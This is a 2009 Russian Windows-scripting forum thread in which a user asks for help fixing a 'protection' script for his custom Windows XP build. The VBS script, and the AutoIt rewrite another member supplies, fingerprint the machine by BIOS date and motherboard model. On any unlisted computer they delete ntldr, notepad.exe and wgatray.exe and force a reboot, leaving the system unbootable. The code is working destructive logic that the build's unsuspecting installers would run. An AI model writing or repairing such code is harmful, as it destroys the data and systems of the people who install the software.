![]() |
Внимание, важное сообщение: Дорогие Друзья!
В ноябре далекого 2001 года мы решили создать сайт и форум, которые смогут помочь как начинающим, так и продвинутым пользователям разобраться в операционных системах. В 2004-2006г наш проект был одним из самых крупных ИТ ресурсов в рунете, на пике нас посещало более 300 000 человек в день! Наша документация по службам Windows и автоматической установке помогла огромному количеству пользователей и сисадминов. Мы с уверенностью можем сказать, что внесли большой вклад в развитие ИТ сообщества рунета. Но... время меняются, приоритеты тоже. И, к сожалению, пришло время сказать До встречи! После долгих дискуссий было принято решение закрыть наш проект. 1 августа форум переводится в режим Только чтение, а в начале сентября мы переведем рубильник в положение Выключен Огромное спасибо за эти 24 года, это было незабываемое приключение. Сказать спасибо и поделиться своей историей можно в данной теме. С уважением, ваш призрачный админ, BigMac... |
|
Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS |
|
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS
|
Ветеран Сообщения: 2756 |
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:
Option Explicit Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Dim objFSO, objShell, strSystemDrive Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 strPassword = "12345" Dim arrayAllowedHosts(3) arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3" arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series" arrayAllowedHosts(2) = "20020315000000.000000+000sis-645" arrayAllowedHosts(3) = "20010427000000.000000+0008363-686" Set objShell = CreateObject("Wscript.Shell") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objBIOS In arrayBIOS For Each objBaseboard In arrayBaseBoard strComputerHost = objBios.ReleaseDate & objBaseboard.Product For Each strAllowedHost in arrayAllowedHosts If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1 Next Next Next If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Set objFSO = CreateObject("Scripting.FileSystemObject") objFSO.DeleteFile ("C:\Protect.zip") objFSO.DeleteFile ("C:\PKUNZIP.EXE") objFSO.DeleteFile ("C:\PROTECTT.CMD") If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным. Помогите пожалуйста. |
|
Отправлено: 21:11, 21-02-2009 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Pozia, в чем необходимость компиляции VBS/CMD?
|
Отправлено: 04:01, 26-02-2009 | #11 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, в том, что этот скрипт защита моей сборки, и нечего остальным править ее под себя
![]() |
------- Отправлено: 07:41, 26-02-2009 | #12 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
|
|
Отправлено: 09:02, 26-02-2009 | #13 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, переписать скрипт это не по моим мозгам. По поводу появления окна как я описал есть идеи?
|
------- Отправлено: 10:04, 26-02-2009 | #14 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать |
Отправлено: 11:06, 26-02-2009 | #15 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, автоит только недавно начал изучать сам, да и то дальше симуляций нажатия по клавишам не дошло и врядли дойдет. Я вообще от программирования ну просто очень далек. И то что я умудрился за этот год сделать свою сборку винды, причем без хвастовства приличную, это для меня большое достижение. Все друзья теперь ставят ее а не зверя, который не нравится из за того что там есть то чего обычным смертным не надо. Вот последнее что я бы хотел сделать это защита своей сборки. Не хочу чтобы кроме моих друзей ее кто нибудь ставил. Защиту эту конечно же можно сломать без проблем, но это новичку надо не плохо этот сайт поизучать. А кто сможет сломать тому она не надо, они лучше свою сделают. Если вы можете написать этот скрипт в автоит буду вам крайне признателен. За помощь в любом случае спасибо.
|
------- Отправлено: 11:57, 26-02-2009 | #16 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Pozia, вот что получилось... кстати, по ходу в оригинальном VBS один из 2-х "endif" лишний, возможно поэтому компилятор ругается:
Opt("ExpandEnvStrings", 1) Global Const $WbemFlagReturnImmediately = 0x10 Global Const $WbemFlagForwardOnly = 0x20 Global $strPassword = "12345" Global $arrayAllowedHosts[4] = [ _ "20090116000000.000000+000ga-ma770-ds3", _ "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _ "20020315000000.000000+000sis-645", _ "20010427000000.000000+0008363-686" ] If _PlatformArrayTest($arrayAllowedHosts) Then $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) Else FileSetAttrib("%SystemDrive%\ntldr", "-SR") FileDelete("%SystemDrive%\ntldr") FileDelete(@WindowsDir &"\notepad.exe") FileDelete(@SystemDir &"\wgatray.exe") Shutdown(29) EndIf FileDelete("%SystemDrive%\Protect.zip") FileDelete("%SystemDrive%\PKUNZIP.EXE") FileDelete("%SystemDrive%\PROTECTT.CMD") Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2") Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False For $objBIOS In $colBIOS For $objBaseBoard In $colBaseBoard $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3) For $i=0 To UBound($arrayAllowedHosts)-1 If $arrayAllowedHosts[$i]==$strComputerHost Then Return True Next Next Next Return False EndFunc |
Последний раз редактировалось amel27, 27-02-2009 в 04:51. Отправлено: 12:16, 26-02-2009 | #17 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, спасибо большое. Оперативно вы. Как только протестирую напишу, на этой недели возможно уже не успею
|
------- Отправлено: 12:49, 26-02-2009 | #18 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, вот попробовал протестить ваш скрипт. Правда немного модифицировал чтобы проверить на живой системе работу.
Вот текст:
В общем при смене ID BIOS ничего не меняется. Всегда удаляется файл mmm. Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными. Посмотрите пожалуйста. И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру? |
------- Отправлено: 18:55, 26-02-2009 | #19 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2") Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса") Return False EndIf For $objBIOS In $colBIOS For $objBaseBoard In $colBaseBoard $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3) MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"') For $i=0 To UBound($arrayAllowedHosts)-1 If $arrayAllowedHosts[$i]==$strComputerHost Then MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i) Return True EndIf Next Next Next MsgBox(64, "Уведомление", "ID платформы в массиве не найден.") Return False EndFunc Цитата Pozia:
|
||
Отправлено: 04:11, 27-02-2009 | #20 |
![]() |
Участник сейчас на форуме |
![]() |
Участник вне форума |
![]() |
Автор темы |
![]() |
Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт | nod201 | Скриптовые языки администрирования Windows | 3 | 07-12-2009 10:53 | |
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs | nod201 | Скриптовые языки администрирования Windows | 0 | 05-12-2009 05:44 | |
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD | alex_frog | Скриптовые языки администрирования Windows | 6 | 22-07-2009 18:41 | |
Помогите, нужен скрипт vbs или wsh | Foxie | Microsoft Windows NT/2000/2003 | 3 | 18-01-2006 13:45 | |
VBS/WSH/JS - Скрипт на VBS | b0bi | Программирование и базы данных | 1 | 15-06-2004 19:15 |
|